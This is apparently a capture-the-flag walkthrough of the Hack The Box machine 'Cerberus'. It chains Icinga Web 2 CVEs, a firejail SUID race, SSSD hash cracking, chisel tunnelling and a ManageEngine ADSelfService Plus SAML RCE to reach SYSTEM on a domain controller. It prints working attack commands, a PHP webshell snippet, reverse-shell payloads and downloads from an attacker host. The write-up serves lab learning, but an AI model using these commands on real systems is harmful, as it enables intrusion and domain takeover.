Hacking Cerberus
Cerberus chains an unauthenticated Icinga Web 2 file disclosure into authenticated RCE inside a Linux container, escalates to container root through a SUID firejail race, cracks an SSSD-cached domain password to pivot over WinRM, and finishes with a ManageEngine ADSelfService Plus SAML signature-bypass RCE for SYSTEM on the domain controller.
Overview
Cerberus is a hard Windows box that hides a Linux container behind its only exposed service. The foothold abuses Icinga Web 2: an unauthenticated arbitrary file disclosure (CVE-2022-24716) leaks admin credentials, then an authenticated SSH-resource path traversal (CVE-2022-24715) drops a PHP webshell for code execution as www-data inside a container. A SUID firejail (CVE-2022-31214) gives container root, which exposes a cached domain password in the SSSD database. Cracking it and tunnelling WinRM through the container lands a shell on the Windows host as matthew for user.txt. The root path is a ManageEngine ADSelfService Plus SAML signature-bypass RCE (CVE-2022-47966) against the domain controller, yielding NT AUTHORITY\SYSTEM.
Recon
| Port | Service | Notes |
|---|---|---|
| 8080 | HTTP — Apache 2.4.52 / Icinga Web 2 | vhost icinga.cerberus.local |
Only a single port answers. The web root redirects to Icinga Web 2, and the application responds to the icinga.cerberus.local virtual host, so that goes in /etc/hosts.
1
nmap -sC -sV -p- 10.129.13.151
Enumeration
Icinga Web 2 of this vintage is vulnerable to an unauthenticated file read. The static-asset controller, when handed an empty module/asset segment, treats the trailing portion of the URL as an absolute filesystem path and streams it back — no authentication and no ../ needed. Reading resources.ini exposes the database credentials, which are reused as the Icinga web login, and roles.ini confirms that matthew holds the Administrator role (permissions=*).
1
curl -H "Host: icinga.cerberus.local" "http://10.129.13.151:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini"
This returns matthew:<redacted>.
Foothold
With admin access to Icinga, CVE-2022-24715 turns the SSH-resource feature into code execution. Icinga writes the resource’s User field to disk as part of a key file path, so a traversal path plus a private key that is a valid RSA PEM with an embedded <?php system($_REQUEST[x]);?> block drops a runnable PHP webshell; enabling a module rooted at that directory triggers it. The public exploit (EDB 51586) automates login, resource creation, module enablement, and the reverse-shell trigger.
1
python3 51586.py -u http://icinga.cerberus.local:8080 -U matthew -P '<redacted>' -i 10.10.16.13 -p 443
This lands a shell as www-data inside a container (172.16.22.2/28, gateway 172.16.22.1).
Privilege Escalation — container root
Inside the container, firejail 0.9.68rc1 is installed SUID-root, which is vulnerable to a --join improper privilege-drop race (CVE-2022-31214). A helper sets up a sandbox, the attacker joins it, and because the privilege checks are done improperly the joined shell ends up root; a permissive PAM config then lets su return root with no password. The helper’s stdin must stay open or it exits before the join.
1
2
3
4
find / -perm -4000 2>/dev/null
(tail -f /dev/null | setsid ./firejoin.py >out 2>&1) &
firejail --join=<stage2-python-pid>
su
Lateral Movement — container to Windows host
The container is domain-joined and SSSD caches successful logins to disk. As container root, that cache is readable and holds matthew’s domain password as a $6$ sha512crypt hash — strong against online guessing, but the password behind it is weak and falls to a wordlist.
1
2
strings /var/lib/sss/db/cache_cerberus.local.ldb | grep '\$6\$'
hashcat -m 1800 matthew.hash /usr/share/wordlists/rockyou.txt
WinRM on the Windows host is firewalled externally but reachable from the container (whose gateway is the host). A chisel reverse SOCKS tunnel routes evil-winrm through the container.
1
2
3
./chisel server --reverse -p 6666
./cs client 10.10.16.13:6666 R:socks
proxychains4 evil-winrm -i 172.16.22.1 -u matthew -p '<redacted>'
User flag
1
type C:\Users\matthew\Desktop\user.txt # HTB{...}
Access as cerberus\matthew on the Windows host is established.
Privilege Escalation — domain controller to SYSTEM
The DC runs ManageEngine ADSelfService Plus on port 9251, vulnerable to a SAML signature-verification bypass (CVE-2022-47966) from a bundled Apache xmlsec older than 2.2.3. The exploit needs the ADFS GUID and ISSUER_URL of the configured IdP — both recoverable from a ManageEngine OfflineBackup archive whose password is the filename reversed:
ADSIAMIDPAuthConfigParams.txt→ISSUER_URL(http://dc.cerberus.local/adfs/services/trust)ADSIAMIDPAuthConfig.txt→GUID
Port 9251 is bound to localhost on the DC, so chisel runs on the DC itself (via matthew’s WinRM) to expose a SOCKS proxy back to the attacker, and Metasploit fires through it. The service runs as SYSTEM, so the RCE lands as SYSTEM. (The service is flaky at boot — a race with AD readiness sometimes leaves 9251 not listening, requiring a box reset before exploitation.)
1
2
iwr -Uri http://10.10.16.13/chisel.exe -OutFile C:\Users\matthew\chisel.exe
& C:/Users/matthew/chisel.exe client 10.10.16.13:6666 R:8888:socks
1
2
3
4
5
msfconsole -q -x "use multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966; \
set GUID <guid>; set ISSUER_URL http://dc.cerberus.local/adfs/services/trust; \
set RHOSTS 127.0.0.1; set RPORT 9251; set SSL true; set proxies socks5:127.0.0.1:8888; \
set ReverseAllowProxy true; set payload cmd/windows/powershell_reverse_tcp; \
set LHOST 10.10.16.13; set LPORT 9005; set DisablePayloadHandler true; run"
Root flag
1
type C:\Users\Administrator\Desktop\root.txt # HTB{...}
Code execution as NT AUTHORITY\SYSTEM on the domain controller completes the compromise.